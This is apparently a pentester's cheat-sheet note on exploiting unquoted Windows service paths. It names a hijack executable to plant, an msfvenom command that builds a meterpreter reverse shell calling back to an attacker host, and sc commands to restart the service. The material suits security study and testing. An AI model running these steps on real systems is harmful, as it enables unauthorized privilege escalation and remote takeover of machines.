Unquoted Service path Check for Any servicewith unquoted path like C:\Program Files\My Program\My Service\svice.exe . f the service path is stored unquoted, whenever Windows starts the service it will attempt to run an executable from the following pathsC:\Program.exe C:\Program Files\My.exe C:\Program Files\My Program\My.exe C:\Program Files\My Program\My service\svice.exeWe can put My.exe in My Program, if we have write permission . Can put adduser exe like in Binary hijacking / Insecure File permissionsOr can create reverse shell,msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe > My.exeStop the servicesc stop svice.exeTransfer My.exe in My ProgramStart servicesc start svice.exeNow exploit is successful